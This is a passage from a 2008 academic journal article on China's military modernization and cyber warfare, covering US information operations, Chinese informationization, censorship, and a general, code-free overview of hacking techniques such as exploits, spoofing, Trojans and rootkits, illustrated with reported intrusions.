The mobilization of nationalism can also be seen during the holding of a US reconnaissance plane in 2001, and the mistaken bombing of the Chinese Embassy in Belgrade in 1999.
The 2008 Olympics further demonstrated how China could garner national support in the face of a widening wealth gap, forced relocation, corruption, and environmental degradation.
These events demonstrate a strategic value in public manipulation through nationalism one that is interconnected with military affairs, and one which is increasingly turning to online assets (see Faiola 2005).
Several conclusions can be drawn from the status of the PLA.
China is committed to modernizing its military, primarily through the purchase or illicit acquisition of foreign technology and subsequently reverse engineering that technology so it can be produced domestically.
The PLA has placed an importance on trimming down its size, favouring quality over quantity.
The PLAs weaponry often lags one or two generations behind that of Western military powers.
However, the total force base still poses a significant deterrent, and establishes China as a dominant power within the Asia-Pacific Region.
China lacks force projection beyond its region, primarily do to the lack of a blue water navy and aircraft carrier fleet, but also due to limits in missile technology and air-defence penetration, and opposition by foreign powers such as the United States.
China seeks to become self-sufficient in many of these key capabilities.
Once they have leapfrogged and are no longer trying to catch up, the Chinese will no longer need such widescale technology transfer, and they will possess the might to shape the international system, rather than be bound by one that was created by foreign powers.
Culture Mandala, Vol.
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A New Era History has demonstrated that the advantage often goes to those who develop a technology first.
The great naval voyages of Ming admiral Zhang He were unprecedented for their time and helped establish China as a suzerain of the wider Asian region.
However, the mid-15th century saw China retreat to xenophobic and isolationist policies that paved the way towards Chinas decline and opened the door for colonialism (see Dick 2006).
This lesson has not been lost among Chinese officials, and it is often used to spur initiatives such as their stated desire to be the first to mine the moon for helium-3 (Chinas Space Program 2005).
The information revolution has given more power to individuals and increased globalization through the interconnectedness of economies, rapid dissemination of news, and improved access to communication and information of all types.
Any attempt to compete on a global level without the use of these technologies would place the PRC at a significant military and financial disadvantage.
For this reason, the benefits of electronic reliance outweigh the risks involved.
Further, it is impossible for a state to develop a defence against cyber warfare without simultaneously learning how to execute attacks themselves.
The US is the sole superpower, making it a benchmark for military competitiveness.
Beijing also views the US as a potential adversary, in particular due to perceptions of the US military attempting to encircle China with bases in nearby states and opposition to Chinas modernization goals, to concerns over any forceful application of the One China Policy, and to concerns over a range of internal affairs issues.
China seeks to learn from US mistakes and successes, using American expertise and field-tested military experience to accelerate Chinas development.
The Peoples Republic also focuses on weaknesses in the US military in order to improve upon the American example and to expose asymmetric advantages.
For these reasons it is important to examine where the US is headed in military thinking and development, as China is likely to follow (Derene 2008 Lasker 2005 Liang Xiangsui 1999).
Network-Centric Warfare The US has viewed the internet as a potential tool of warfare since its inception.
Arpanet, a precursor of modern internet, was heavily funded by the US military, with a particular emphasis on its research collaboration benefits.
Despite fears of cyber terrorism post 9/11, the US continues to place increasing reliance on the internet as a security tool.
This can be seen in the restructuring of US intelligence agencies and the creation of new online exchange such as Intellipedia and A-Space (Shaughnessy 2008 Magnuson 2006).
Militarily, the information revolution has given rise to an increasing reliance on situational awareness, weather monitoring, surveillance, communication, and precision strikes.
Chinese military strategists have made special note of the US reliance on, and dominance with, electronic means in the Kosovo, Afghanistan, and Iraqi conflicts (Tellis 2007 Center for Strategic and International Studies 2003 Liang and Xiangsui 1999).
Since the 1990s the US has put emphasis on developing network-centric warfare (NCW).
NCW seeks to translate an information advantage, enabled in part by information technology, into a military advantage through the networking of well informed, geographically-dispersed forces.
Originally described as a system of systems, it includes intelligence sensors, command and control systems, and precision weapons that enable enhanced situational awareness, rapid target assessment, and distributed weapon assignment.
In essence, NCW translates to information superiority, which requires the reduction of hard categorization, because compartmentalizing military branches can stem the flow of information.
In 2001, the Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 41 Pentagon began investing in peer-to-peer software as a means to spread information while supplying redundancy and robustness.
The US Department of Defense has sought the creation of the Global Information Grid (GIG) as a backbone of NCW.
All advanced weapons platforms, sensor systems, and command and control centres are eventually to be linked via the GIG.
Collecting, processing, storing, disseminating, and managing classified security information on demand will be made globally available to soldiers, policymakers, and support personnel to achieve information superiority (Alberts 2002 Alberts, Garstka, and Stein 2000).
Vice President Richard Cheney stated in 2004: With less than half of the ground forces and two-thirds of the military aircraft used 12 years ago in Desert Storm, we have achieved a far more difficult objective .
. . .
In Desert Storm, it usually took up to two days for target planners to get a photo of a target, confirm its coordinates, plan the mission, and deliver it to the bomber crew.
Now we have near real-time imaging of targets with photos and coordinates transmitted by e-mail to aircraft already in flight.
In Desert Storm, battalion, brigade, and division commanders had to rely on maps, grease pencils, and radio reports to track the movements of our forces.
Today, our commanders have a real-time display of our armed forces on their computer screen (Raduege 2004).
Information Operations In 2003, under the direction of former Secretary of Defense Donald Rumsfeld, the US expanded on NCW in a document titled the Information Operations Roadmap.
Now declassified, it was obtained under the Freedom of Information Act by George Washington Universitys National Security Archive.
Information Operations (IO) calls for NCW to become a core military branch along with the Army, Navy, Air Force, Intelligence, and Space.
To accomplish this it requires the development of a comprehensive education program to enlist new recruits, and an overhaul of the organizational structure of current military branches in an attempt to break down barriers that hinder information exchange and progress.
IO activities include PSYOPS troops who try to manipulate the adversarys thoughts and beliefs, military deception and disinformation, media warfare, electronic warfare (EW), and computer network operations (CNO).
Thus Information Operations Roadmap stands as an another example of the US commitment to transform military capabilities to keep pace with emerging threats and to exploit new opportunities afforded by innovation and rapidly developing information technologies.
IO seeks to dominate the electromagnetic spectrum, in an attempt to deny, degrade, disrupt, or destroy a broad range of adversary threats, sensors, command and control and critical support infrastructures (Information Operations Roadmap 2003).
The document notes that PSYOPS and manipulating the thoughts of populations through media and internet require constant observation during peacetime, otherwise in the event of conflict, a state would not be sufficiently engrained into the information culture to utilize them fully.
This can be seen with the emergence of patriotic hackers, the advancement of social media, and the rapid evolution of memetics, slang, and subcultures, all of which will be discussed further below (List of Internet Phenomenon 2008 Pang 2008 Slashdot Subculture 2008 Slashdot Trolling Phenomenon 2008).
IO includes defence, attack, and reconnaissance as vital components (Information Operations Roadmap 2003).
IO seeks to put out a political message in coordination with any traditional military assault.
It places an emphasis on finding, and clandestinely promoting, favourable media from third Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 42 parties, so as to appear more credible.
IO also seeks to establish a legal framework to defend against cyber attacks and cyber reconnaissance, as well as establish rules of engagement for conducting cyber attack.
For example, how much certainty is required in identifying the source of an attack before responding?
If an attack is being routed through multiple computers, is it acceptable to attack the intermediary computer?
This would halt the attack but it would harm or destroy a computer which may have been infected without the owners knowledge or consent.
Additionally, an intangible computer attack can result in significant tangible loss, but does this warrant the use of traditional military weapons as a response?
Future Combat Systems Another US project that is gaining attention and closely resembles NCW and IO is Future Combat Systems (FCS).
FCS places a particular emphasis on advanced robotics, including Unmanned Ground Vehicles (UGVs), Unmanned Aerial Combat Vehicles (UCAVs), Non- Line of Sight Launch Systems, and Unattended Systems.
This system of systems seeks to make warfare as networked as the internet, as mobile as a mobile phone, and as intuitive as a video game.
The highly interconnected nature of FCS can even be seen in its development, utilizing 550 contractors in 41 US states.
While the US has yet to determine a definitive name for this new type of information based, highly networked, and highly technological warfare, it is clear that the US government has spent a significant amount of time and money seeking to make it a reality.
US Army officials have already stated that they intent to change FCSs name, because they believe the name is inappropriate, stating the future is now (FCS Watch 2008 Future Combat Systems 2008 Baard 2007 Klein 2007 Gannon 2001).
Some of the complex logistical problems inherent in such an undertaking include: finance allocation, giving the approval for use to commanders, inter-agency cooperation, a common vernacular, rules of engagement, and adhering to the programs stated goals.
The US is continually modernizing its cyber force, creating new hacker units, conducting cyber war exercises, and diversifying and limiting the number of access points that could be used for an attack (Waterman 2008 Greenberg 2007).
And the US is not alone, more than 120 countries already have or are developing such computer attack capabilities (GOA 1996).
Information warfare is being adopted by all modern nations and competition is mounting.
Informationization Chinas 2006 white paper on national defence places an emphasis on the informationization of the military.
Informationization (xinxihua) means improving the PLAs ability to use the latest technologies in command, intelligence, training, and weapon systems.
New automatic command systems linked by fibre-optic internet, satellite and new high-frequency digital radio systems, allow for more efficient joint-service planning and command, while also enabling a reduction in layers of command.
The PLAs move towards information technology can be seen with the use of new space-based surveillance and intelligence gathering systems, ASATs, anti-radar, infrared decoys, and false target generators.
PLA soldiers are using decision simulators, a low-light automatic tracking system for helicopters, and a battlefield artillery/mortar fuse jamming system derived from Russian technology.
OSINT on Chinas military continually makes note of informationization and the related, if not identical, fields of cyber warfare, information warfare, CNO, and EW.
Priority is given to RD of new and high-tech weaponry and equipment, and endeavours to achieve breakthroughs in a number of key technologies and leapfrogging technological progress, thus speeding up weaponry and equipment modernization (Chinas National Defense 2006).
Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 43 Informationization includes increased education of soldiers in cyber warfare and NCW, a reorganization of military branches and command system, and integrating joint operations.
The PLA is improving the information network for military training, and has built more virtual laboratories, digital libraries and digital campuses to provide distance learning and online teaching and training.
University courses have emerged for cyber attack and defence, a study of hacker methods, computer virus design and application, and network security protocols (Annual Report to Congress 2008).
Following the Russian example, China is engaging in the debate of defining cyber warfare, in part through the Shanghai Cooperation Organization, in order to have a hand in the shaping of a legal framework and rules of engagement related to this new warfare.
The PLA is pursuing a comprehensive transformation from a mass army designed for protracted wars of attrition on its territory to one capable of fighting and winning short duration, high intensity conflicts along its periphery against high-tech adversaries (Annual Report to Congress 2008)  an approach that China refers to as preparing for local wars under conditions of informationization (Chinas National Defense 2006).
Exponential Growth and Unrestricted Warfare One view on twentieth century patterns of unrestricted warfare has noted: The names Watt and Edison are nearly synonymous with great technical inventions, and using these great technological masters to name their age may be said to be reasonable.
However, from then on, the situation changed, and the countless and varied technological discoveries of the past 100 years or so makes it difficult for the appearance of any new technology to take on any self importance in the realm of human life.
While it may be said that the formulations of the age of the steam engine and the age of electrification can be said to be names which reflect the realities of the time, today, with all kinds of new technology continuously beating against the banks of the age so that people scarcely have the time to accord them brief acclaim while being overwhelmed by an even higher and newer wave of technology, the age in which an era could be named for a single new technology or a single inventor has become a thing of the past.
This is the reason why, if one calls the current era the nuclear age or the information age, it will still give people the impression that you are using one aspect to typify the whole situation.
(Qiao Liang  Wang Xiangsui 1999).
It is important to stop for a moment and ponder the rapid advancement in military weaponry.
New weaponry and concepts are easily dismissed as science fiction, yet the integration of mobile phones and the internet in 2008 would resemble science fiction to someone in the 1980s.
Reports of research and development may be noted momentarily before being subsumed in a busy, informationally-competitive world.
For the purpose of this study, it is useful to acknowledge them in passing as they show the rapid advancement in science and technology, where military weapons are headed, and the increasing complexity and cooperation involved in their development and use.
Current militarily-applicable science and technology, under development or already in use, include:  augmented reality (Bonsor 2008) biotechnology genetics giving soldiers internal/biologic infrared, night vision, radar, and sonar capability (Block 2006) GPS force fields (Hershkovitch 1998) invisibility cloaks (Mark 2008 Winkler 2003) microwave guns (Beam It Right There Scotty 2005) nanotechnology neuroscience positron bombs (Davidson 2004) robotic exoskeletons (Berkeley Bionics Human Exoskeleton 2007 Yeates 2007) space-based weapons such as ANGELS (Lewis 2005) and Rods from God (Adams 2004) telepathy (Braukus 2004 Put Your Mobile Where Your Mouth Is 2002) thought control of internet surfing and electronic Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 44 devices (New Technology Operated by Thought 2007) unmanned ground combat vehicles (Bloom 2008) and unmanned combat aerial vehicles (Pike 2008).
Adding further to this complexity, Unrestricted Warfare, a book by two PLA senior colonels, Qiao Liang and Wang Xiangsui, claims that warfare is no longer strictly a military operation, and that the battlefield no longer has boundaries.
Unrestricted Warfare was published by the PLA Literature and Arts Publishing House in Beijing in February 1999.
According to the FBIS translation editor, the book was endorsed by at least some elements of the PLA leadership and an interview with one of the authors was published in the CPC Youth Leagues official daily newspaper on June 28, 1999.
Thus while the book is not entirely backed by the PLA, especially the older generation, like the half empty, half full glass analogy, it does have some official backing and hence a degree of legitimacy as a document assisting analysis as to where the PLA is headed and how asymmetric tactics against a superior hi-tech military might be employed.
Environmental concerns, human rights in regard to weapons of mass destruction, and the increasingly intertwined economies and political structures of globalization all have an impact on modern warfare.
Sheer might of weaponry can no longer guarantee victory under these conditions.
US extravagance in weaponry has been shown to stymie in the face of guerrilla warfare in Vietnam and Iraq.
Under limited warfare, asymmetric warfare has seen a resurgence in use and value.
Terrorist groups such as Al Qaeda employ guerrilla tactics and make use of the internet and financial institutions to subvert traditional warfare (Levinson 2008 Yassin 2008).
No single weapon can deliver a decisive victory, and weapons have been replaced by weapons systems.
For example, the patriot missile relies on multiple technologies working in concert, from satellites to the missile itself, with data being relayed around the world.
Modern militaries have become reliant on electronic sophistication.
The authors of Unrestricted Warfare assert that war has not disappeared, but its appearance has changed and its complexity has increased (Qiao and Wang 1999).
Non-Traditional Threats Increasing interdependence among states has increased the danger of non-traditional security threats, including the spread of disease, environmental damage, international terrorist groups, international crime, acquisition and transportation of energy and resources, natural disasters, and intertwined economies that can have an impact on social and political issues.
For example, modern transportation has made it possible for criminals to traverse the globe with relative ease.
The internet allows them to transfer or hide money across the globe and to covertly communicate beyond the jurisdiction of their enemies.
Natural disasters or communicable diseases are no longer something which can be kept quiet as information radiates out through global media, causing damage to soft power factors, tourism, business, and international scrutiny (Chinas National Defense in 2006).
The line between military and non-military, soldier and civilian, is being blurred.
Terrorism is the most common example: the 2001 plane hijackings in the US, the Madrid train bombings in 2004, and the London bombings in 2005 to name just a few key examples.
These lack an easily identifiable enemy to target, they cross territorial boundaries and use asymmetric attacks.
Further blurring the line are the Sarin gas attacks on the Tokyo subway by disciples of the Aum Shinri Kyo, the actions of currency speculators in relation to the East Asian financial crisis, drug cartels, the mafia, media moguls who can influence the opinion of a mass audience, or industrial polluters who affect the economy and health of their Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 45 neighbours.
These events can cause damage and disruption equal to war, but there is no foreign military or state against which to go to war.
The individuals involved may be from multiple states and acting without government sponsorship.
Another form of non-traditional threat comes from hackers.
Hackers tend not to have military training, they may or may not have a political agenda, and they are capable of causing massive damage with nothing more than an off-the-shelf computer and an internet connection.
For example, two British teenagers were able to access files on ballistic weapons research of the US.
They then took control of US air force computers and proceeded to intrude into other military and government installations, making it appear as though the US military was hacking other states (Hacking U.S. Government Computers from Overseas 2001).
The rapid advancements in technology and globalization are opening new and complex ways to subvert security.
In 2008, a group of 11 people managed to steal 45 million users bank and credit card details, resulting in a loss of more than 256 million.
The group members were from diverse, yet cyber-advanced, geographical locations, including: Belarus, Estonia, China, Ukraine, and the US.
Their unprecedented feat was accomplished by sitting outside of TJX retail stores and hacking into the stores wireless network.
This illustrates asymmetry, emerging technology security risks, globalization, and the enhanced vulnerability of commercial targets as opposed to direct military targets (Malone 2008 Almeida 2006).
Combination To be militarily successful in this new era will require the ability to combine operations.
Combining weapons has been used throughout military history.
Horses, armour, stirrups, and swords are not as effective when used individually.
Their combination can create synergy, where the combined strength is greater than the individual parts.
During the Gulf War, the US combined the old A-10 ground attack aircraft with the new Apache helicopter to create a lethal union (Qiao and Wang 1999).
By dropping leaflets and publicizing video of precision strike weaponry, the US combined PSYOPS and media warfare as well.
The US has pursued additional combinations of traditional and non-traditional attack methods.
During the 1979 Iran Hostage Crisis, the US initially tried traditional military force, but when this attempt failed they froze Irans foreign assets, imposed an arms embargo, supported Iraq with weaponry and training, and began diplomatic negotiations.
When all these channels were used together, the crisis finally came to an end.
The Americans have also employed non-traditional attacks against non-traditional enemies.
For example, they used hacking methods to search for and cut off the bank accounts of Osama Bin Laden in various states (Musharbash 2008 Vallence 2008).
China has demonstrated its commitment to such combinations.
It seeks to develop military modernization and economic growth in tandem, with an emphasis on science and technology.
Chinas 2006 defence white paper puts forth a goal to work for close coordination between military struggle and political, economic, diplomatic, cultural and legal endeavours, using strategies and tactics in a comprehensive way. . .
Also noted is the importance of taking part in international organizations, such as ASEANThree, the Shanghai Cooperation Organization, WTO, IMF, and the International Olympic Committee.
These open up diplomacy, aid in soft power, and give China a voice in determining the legal framework of a globalized world (Ikenberry 2008 Chinas National Defense in 2006).
To learn how to conduct cyber security, the Chinese must have a full understanding of how attacks are conducted therefore they will learn offence along with the defence - the two are Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 46 inseparable.
China has repeatedly stated its goal of military modernization, and cyber warfare is where modern militaries are headed.
However, cyber warfare would unlikely be used alone.
It could be used simultaneously with a traditional attack, perhaps as a first blow to take an opponent off guard, or in tandem with multiple non-traditional attacks, such as PSYOPS and economic operations, or variants of each.
Additional combined tactics that will be discussed in the following sections include cyber attack, cyber reconnaissance, and market dominance.
Internal Security As seen with the lack of division between the PLA and PAP, the Chinese defence white papers stated goal of developing the military and economy in tandem, and with the blurring of lines in Unrestricted Warfare, China cannot ignore the full spectrum of impact that Information Communication Technologies (ICT) will have, including that within its borders.
Chinas internet population has risen to 210 million people (Anick 2008 Bridis 2008).
And, as of 2007, China possessed over 500 million mobile phones.
China has become a world leader in the communications industry, and 3G and 4G technology are increasing the ability for mobile phones to supplant a personal computer for online activities.
On the one hand ICT supports economic, scientific, and technology development on the other it creates a non- traditional security threat.
Social networking services can be used as a tool to further nationalistic goals.
These goals may include the spread of political ideology, propaganda, and disinformation.
As seen with the US Information Operations Roadmap, PSYOPS are an integral component of cyber warfare.
Operatives can sway audiences by presenting well thought out arguments or by altering opposing views they may also manipulate democratized news by artificially inflating votes using scripts (Cuban 2008).
Recent informationization military courses offered at Wuhan University include An introduction to US and Taiwanese social information systems suggesting that China has already recognized the benefits of utilizing social networking externally (Chinas Proliferation Practices, and the Development of Its Cyber and Space Warfare Capabilities 2008).
Additionally, online users are increasingly volunteering to enter large amounts of personal data, which can, and has been, used for prosecutions (Use of Social Network Websites in Investigations 2008 WFTV 2008 Layer 8 2007).
Users do so to enjoy the social service it provides, either not realizing, or unconcerned, that the government is simultaneously gaining access to a self-imposed Big Brother.
Not only can China use this information to its benefit, but also it must secure it from being used by an adversary, such as its use for identifying potential espionage and subversive assets.
In terms of stemming anti-government agendas, state agencies censor blogs, bulletin boards, email, and forums.
Internet Service Providers (ISPs) often take it upon themselves to censor users, because they are held legally responsible for any customer who violates the law.
Internet cafs are required to keep detailed records of their customers.
In addition, every Chinese person who signs up for internet service must register with his or her local police department within 30 days (China and Internet Censorship 2006).
As Chinas economy continues to grow, personal electronic devices are becoming more accessible to Chinese citizens.
Products such as personal computers, high speed internet connections, mp3 players, large hard drives for storage, gaming systems, and advanced mobile phones fuel a desire for more software and entertainment.
This will enhance Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 47 international criticism of Chinese copyright infringements and it will make it difficult for China to prevent the spread of Western culture (French 2006 Peoples Daily Online 2006 Pirates of the Orient 2006).
Increased connectivity also increases the capability of people to conduct subversive activities that endanger state security.
This may include, Signing online petitions, calling for reform and an end to corruption, planning to set up a pro-democracy party, publishing rumours about SARS, communicating with groups abroad, opposing the persecution of the Falun Gong and calling for a review of the 1989 crackdown on the democracy protests .
. . (
Kumar 2006).
Other emerging non-traditional threats include mob mentality, consumer price manipulation, domestic hacker groups who can damage and interfere with the Chinese government or drag it into conflict with other states, and the security of the identity and financial details of a growing online consumer market (Delio 2001).
In addition to Chinas economy being directly linked to military issues, so too are domestic threats, soft power, and the control of information.
Readily available free web sources, such as blogs, photo uploading, video uploading, Podcasts, torrents, and RSS feeds, have given powers to individuals that were once restricted to large media outlets.
Social networking sites allow for the spread of this information across the globe at speeds exceeding traditional mass media, and they are capable of reaching larger markets.
These social networking services, often referred to as Web 2.0, are noted for their ability for people to collaborate and share information online, particularly emphasizing real-time dynamic displays, interconnectedness, and being a part of a larger community.
China maintains strict government control over television, newspapers, and radio therefore these new forms of distribution pose a threat to Chinas control.
Censorship of the internet by China, known as the Great Firewall, can be seen in the banning of foreign sites, such as Blogger and Voice of America, as well as a wide range of search terms and images the government deems a threat to national security or counter-productive to the political party.
During the 2007 uprising in Tibet, China blocked access to the video website YouTube (Richards 2008), and on multiple occasions it has been accused of using Photoshop to digitally alter photos in its favour (Pasternack 2008 Yue 2008).
With the increasing popularity and economic success of Web 2.0, coupled with Chinas global presence (prestige and international scrutiny) it is unlikely that the Chinese government will ban these new forms of news distribution on a permanent basis.
However, it will seek to understand and entrench itself within the emerging system.
China has struggled to cope with internal and external cyber dissidents.
This includes pro- democracy movements and the dissemination of sensitive information such as the spread of SARS and human rights abuses.
Pro-democracy activists Li Yibing and Jiang Lijun of Hong Kong used virtual dead drops to secretly pass messages, such as a plot to disrupt the 16th Communist Party Congress by phoning the police with a false bomb alert (Reporters Without Borders 2006).
Each member knew the user name and password to a single email account.
They would save messages as drafts, allowing the other member to log in and read it at a later point.
This avoided detection, because no message was ever sent.
This represents an asymmetric advantage provided by new technology however China demonstrated its prowess in using the same technology to combat the cyber-dissidents by using international cooperation, internet laws, and online eavesdropping.
Activists can use the internet to build coalitions, create e-petitions, and organize protests, using elements such as maps, lookouts, and live broadcasts.
Foreign bloggers using commercially available satellite imagery have compromised Chinese military secrets on numerous occasions.
These non-governmental bloggers have uncovered a Chinese site used for developing submarine technology, a training facility used to prepare for a potential conflict with India, and the construction of a fourth Culture Mandala, Vol.
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Determined Chinese internet users are finding ways around The Great Firewall.
One popular way is to use proxy relays.
A proxy server acts as an intermediate it allows them to access banned sites through servers that are based abroad.
Other techniques include using specifically designed software, circumventors, tunnelling, encryption, and cached pages.
Several foreign organizations have voluntarily taken on the task of circumventing Chinas censorship and making this information public.
Among the groups that may have breached The Great Firewall are the University of Cambridge, the University of Toronto, M.I.T., underground hackers (presumably doing it just for the challenge), and groups formed by Chinese defectors.
Software such as Dynapass, Ultrasurf, Freegate and Garden Networks are used by approximately 100,000 people in China to gain access to news and information that is blocked by the firewall.
With the increasing interconnectivity of modern times, China must actively defend against these internal threats or risk having collateral damage to the military, soft power, economy, and political integrity (China Tightens Vice on Internet 2006).
Despite some drawbacks, it is in Chinas best interest to promote the growth of the internet as it will boost the economy, improve education, and keep the nation competitive in the 21st century.
New freedoms for expressing political opinion will be counterbalanced by new means of censorship and means to reduce a widening digital and social divide.
The Chinese government must be moderate in its approach to censorship and the digital divide or it runs the risk of widespread dissent resulting from increasing socio-economic/rural-urban disparities.
The impact of the internet on Chinas near future will be one of expanded growth, a complex interaction of balances, and a constant adaptation to evolving technologies from within pre-established ideologies.
The following sections will further demonstrate how the average internet user is becoming intertwined with military activity.
3.
Cyber Reconnaissance and Attack NCW, IO, FCS, and Informationization are not identical to cyber attack and cyber reconnaissance however they significantly overlap.
The first four, discussed above, tend to deal with the hi-tech advancement of traditional military assets, PSYOPS, and media warfare all of which rely on the internet in some form.
The lexicon is continuing to develop, having at times included the terms: total dimensional warfare, expeditionary forces, command and control warfare, information warfare, full spectrum dominance, and electronic warfare.
Cyber attack may be thought of as hacking with the intent to destroy or disrupt.
This could include the physical destruction of a computer, deleting/re-writing of files, or knocking a network or service offline.
Cyber reconnaissance is the collection of data, also known as cyber espionage or network intrusion.
This may include technology transfer or intelligence, such as troop locations or weaknesses that could be used in an attack.
In many cases a hacker goes from reconnaissance to attack at will.
Here all six will be addressed  NCW, IO, FCS, Informationization, Cyber Attack, and Cyber Reconnaissance - as components of cyber warfare (Chinas Proliferation Practices, and the Development of Its Cyber and Space Warfare Capabilities 2008).
This section will examine cyber reconnaissance with an emphasis on Chinese examples and military applications.
In addition to Chinas stated goal of informationization and the quasi- officially endorsed book, Unrestricted Warfare, this section will show that foreign allegations Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 49 and widespread network intrusions suggest China is developing a cyber warfare capability.
Cyber warfare fits with Chinas established patterns of asymmetry and technology transfer.
In order to grasp why Beijing would pursue cyber warfare as a means of leapfrogging, it is essential to acknowledge the skills of hacking.
Hackers utilize a wide range of tools with highly sophisticated techniques, the scope of which is beyond this article however some basic understanding is necessary.
Hacking is capable of causing massive damage with little funding, it is difficult to detect and defend against, it provides a high level of deniability, and it eliminates the problem of geographical distance.
Security Hacking A common method used in cyber reconnaissance and attack is the security exploit.
A security exploit is a prepared application that takes advantage of a known weakness.
It is a piece of software, data, or commands that utilize a bug, glitch, or vulnerability to cause an unintended or unanticipated behaviour to occur on computer software, hardware, or electronic devices.
This can allow the attacker to take control of the computer, permitting its use for other tactics, such as DDoS discussed below.
An exploit may be used to gain low- level entrance to a computer, after which a hacker can search for further exploits to attain high-level access such as system administrator (root).
This tactic is known as privilege escalation.
Once exploit vulnerability has been identified by security experts, a patch will be issued.
For this reason hackers try to keep known exploits secret.
These are known as zero day exploits, and hackers may catalogue large numbers of them for their own use or to be sold on the black market (Hines 2008).
In 2006, Taiwan was hit with 13 PLA zero-day attacks, for which it took Microsoft 178 days to develop patches (Tkacik 2007).
Vulnerability scanners may be used to identify exploits.
One such scanner known as a port scanner automates the process of finding weaknesses of computers on a network.
These check to see which ports on a specified computer are open, available to access, and sometimes will detect what program or service is listening on that port.
Turning from reconnaissance to attack, once an open port is found, large quantities of data can be sent in an attempt to cause a buffer overflow.
This can cause exposure of data, memory loss, and/or a crash within the compromised system.
The primary means to identify computers used in cyber warfare is the IP address.
An IP address is a numerical identification that network management assigns to devices participating in a computer network utilizing the Internet Protocol (TCP/IP) for communication between nodes.
In essence, each computer has its own unique IP address.
The Internet Corporation for Assigned Names and Numbers (ICANN) is responsible for global IP address allocation.
ICANN, a non-profit organisation operating in the US, is under contract with US Department of Commerce and previously with US Department of Defense.
Despite this identification tool, hackers can mask their identity by using proxy servers.
Information is routed through multiple computers, only showing each computers identity to the next in line.
For example, a Chinese hacker could route his or her activity through a computer in Brazil, which routes its activity through Russia.
The computer in Russia could be used to attack a computer in the US, and the US would see it as an attack from Russia.
Perhaps through painstaking effort the American investigators can identify that the Russian computer was a proxy, but then they are led to Brazil.
If they manage to go from Brazil to China, they are still unsure whether China was the originator or simply another link in the chain.
Proxy servers can be rented or obtained through compromised systems.
Additionally, Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 50 free software such as Tor (The Onion Router), encryption, tunnelling protocol, and wireless access points (hotspots) add additional anonymity.
A spoofing attack is when a person or program fools another into thinking it is someone or something else.
One example is the man-in-the-middle attack, in which person C gets person A to believe they are person B, and they get person B to believe they are person A, thus gaining access to information sent in both directions.
This is accomplished by monitoring packets sent from A to B (often involving a packet sniffer), guessing their sequence and number, knocking them out with a SYN attack, and injecting packets from C.  Firewalls may defend against these attacks, if they have been configured to only accept IP addresses from the intended correspondent.
Webpage spoofing, known as phishing, imitates a webpage such as a banks website.
When the user enters their data, such as passwords and usernames, the fake website catalogues their information.
Webpage spoofing is often used in conjunction with URL spoofing, using an exploit to display a false URL, and DNS cache poisoning to direct the user away from their intended site and then back again when the data has been collected.
As a precaution some websites require a user to arrive at their login page from a specified referrer page, but these referrer pages may also be spoofed.
During the 2008 Olympics net users in China received a high volume of email spam offering video highlights of the games.
Clicking on the links brought users to spoofed CNN pages which asked them to download a codec to watch the videos once installed the computer was compromised and become a part of the Rustock botnet, i.e.
an automated robot running on the web to generate false headlines that entice people to load harmful code (Miller 2008 Hi-tech Thieves Target Olympics 2008).
Spoofing may also be used defensively.
For example, the Recording Industry Association of America (RIAA) has practised spoofing on peer to peer networks.
The RIAA floods these communities with fake files of sought-after material.
This deters down loaders by means of fear and by wasting their time and bandwidth.
This could be employed in the same manner by militaries, or as a source of disinformation.
A similar defensive tactic, known as a honey pot, lures criminals in by offering sought-after data or what appears to be a compromised network.
The honey pot is designed to collect data on the intruder, while giving away nothing, or giving away something that is perceived as an acceptable loss to gain something greater in return.
Attackers may also compromise a computer or network by using a Trojan horse, often known simply as a Trojan.
A Trojan appears to perform a desirable function, while secretly performing malicious functions.
Trojans can be used to gain remote access, destroy data, download data, serve as a proxy, falsify records, or shut down the target computer at will.
The Pentagon, defence-related think tanks, and defence-related contractors were the target of a combined spoofing and Trojan attack in 2008.
Trojans were hidden in email attachments designed to look as if they were sent from a reliable source.
The Trojan was designed to bury itself into the system, covertly gather data, and send it to an internet address in China.
Due to the ability of hackers to route their activity through foreign computers, security experts were unable to determine if China was the final destination, if it was an attempt at framing China, or if it was a state-sponsored activity (Waterman 2008).
This was not the first time US research facilities received spoofed emails with Trojans purportedly from China.
In 2005 the Oak Ridge National Laboratory and Los Alamos National Laboratory became infected.
No classified information was believed to have been Culture Mandala, Vol.
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1, October 2008, pp.28-80                                        Copyright  2008 Jason Fritz 51 obtained however personal information of visitors from the years 1990 to 2004 was compromised.
This included names, date of birth, and social security numbers.
These two research facilities were originally constructed for sensitive nuclear weapons research during WWII.
Today they are used for research in numerous areas including national security, nanotechnology, advanced materials, and energy (Lasker 2005).
In general, Cyber reconnaissance may be an attempt to attain victory conditions before battle.
These intrusions, if undetected, allow intruders to identify vulnerabilities for future cyber attack.
The cost of probing computer networks is low, given the lack of attribution, requiring as few as one hacker, and the ability to work from remote locations using off-the-shelf hardware.
A rootkit is a toolkit hidden on a compromised computer.
The rootkit can be a diverse set of programs, but invariably is designed to hide the fact that the computer has been compromised and defending itself once detected.
These rootkits often hide themselves as seemingly innocuous drivers or kernel modules, depending on the details of the operating system and its mechanisms.
In addition to covering the tracks of an intruder, they can allow easier access in the future by opening backdoors.
They may also include an arsenal of sniffers, key loggers, and tools that relay email chat conversations.
Rootkits may also serve as a staging ground for email spam distribution and DDoS attacks as a part of a larger botnet.
In 2005, it was revealed that Sony BMG included rootkit software on their CDs.
This software altered the Windows OS to allow access to the computer by anyone aware of the rootkits existence, presumably to enforce copyright protection.
This example shows that corporations, too, can be a part of cyber attack or reconnaissance, furthering Chinas desire to create its own software and establish market dominance as opposed to being subjected to the USs.
Numerous source codes for ready-made rootkits can be found on the internet.
In 2006, alleged Chinese hackers infiltrated the Department of Commerces Bureau of Industry and Security, which manages export licensing of military-use products and information using rootkits to allow privilege escalation.
